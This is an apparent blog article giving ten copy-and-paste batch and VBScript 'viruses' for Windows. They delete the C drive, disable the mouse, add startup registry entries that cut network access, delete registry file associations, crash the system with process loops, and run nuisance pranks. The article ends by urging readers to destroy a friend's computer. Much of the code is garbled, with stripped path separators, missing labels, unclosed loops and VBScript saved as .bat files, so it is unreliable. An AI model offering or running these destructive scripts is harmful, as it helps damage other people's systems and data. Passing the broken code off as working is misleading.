10 Secret Codes To Make Dangerous Computer Virus

VIRUS is a collection of codes to destroy your system in seconds. A computer virus is a malware program that, when executed, replicates by inserting copies of itself (possibly modified) into other computer programs, data files, or the boot sector of the hard drive; when this replication succeeds, the affected areas are then said to be “infected”. All these viruses are man-made. According to a survey around 20% of the total Internet viruses is released by organized crime units. It can contain any of the following:

  • Computer worms
  • Trojan horse
  • Spyware
  • Zombies



Make Computer Virus
Make Computer Virus

Today in this guide we are going to show how you can make dangerous virus by just copy and paste. You don’t need to download any software to make them. Inbuilt notepad in your Windows is enough.

See also, 49 MySQL Interview Questions With Answers | Download PDF

How Virus Are Made?

Computer virus is nothing a bunch of code. You can write them in notepad and then just save and execute. Viruses are created using Batch programming. Always remember don’t ever try to run them on your personal system otherwise it would destroy your computer completely. Protection from virus is also a part of virus creation.
We’ve listed different types of viruses to destroy hard disk, block, CD drives, disable USB ports and much more.

Must Read: – Notepad Tips & Tricks

1. Make A Virus To Delete Hard Drive

  • Open your notepad.
  • Copy the code given below and paste it in your notepad
@Echo off
Del C: *.* |y
  • Save the file as virus.bat.
  • That’s it, just run the file and see the magic. It will delete all the content of C Drive.
2. Make A Virus To Disable Mouse
  • Open your notepad.
  • Copy and paste the code in notepad.
rem ———————————
rem Disable Mouse


set key=”HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ———————————
  • Save the file as disablemouse.bat and execute it.
3. Make A Virus To Disable Internet Permanently
Copy below code and save it as DisInt.bat.
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
4. Virus To Crash Your Computer System
Copy and paste the code and save the file as crash.bat.
Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)
Dim x
For x = 1 to 100000000
WSHShell.Run “Tourstart.exe”
5. Make A Virus To Open Notepad Repeatedly 
@ECHO off
START %SystemRoot%system32notepad.exe
GOTO top
Save the file as anything.bat.
6. Virus For Popping CD Drive
Set oWMP = CreateObject(”WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
End If
wscript.sleep 100
Just save it as popout.bat.
7. Delete Key Registry Files
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
ECHO Your computer has been destroyed.
Save it as delreg.bat.
8. Virus To Make Multiple Folders
@echo off
md folder1
md folder2
md folder3
md folder4
md folder5
start folder1
start folder2
start folder3
start folder4
start folder5
goto RON
Save it as multifol.bat.
9. Virus To Make Dancing Caps Lock
Set wshShell =wscript.CreateObject(“WScript.Shell”)
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
Now save it as dancecap.bat.
10. Virus For Endless Enter
Set wshShell = wscript.CreateObject(”WScript.Shell”)
wscript.sleep 100
wshshell.sendkeys “~(enter)”
Save the code as endenter.bat.
So that’s it. Go and destroy your friends computer. But always beware don’t use them on your personal system.

Read also: 40+ Amazing And Interesting Computer Facts

Scroll to Top